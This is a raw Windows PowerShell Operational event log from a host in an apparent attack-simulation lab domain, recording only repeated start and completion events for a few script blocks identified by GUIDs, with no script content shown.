Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988820 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988819 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988818 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988817 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988816 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988815 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988814 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988833 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988832 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988831 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988830 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988829 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988828 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988827 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988826 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988825 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988824 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988843 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988842 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988841 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988840 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988839 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988838 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988837 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988836 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988835 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:06 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988834 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988853 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988852 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988851 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988850 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988849 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988848 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988847 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988846 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988845 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988844 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988863 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988862 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988861 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988860 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988859 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988858 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988857 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988856 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988855 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988854 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988873 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988872 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988871 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988870 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988869 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988868 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988867 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988866 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988865 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:23 PM 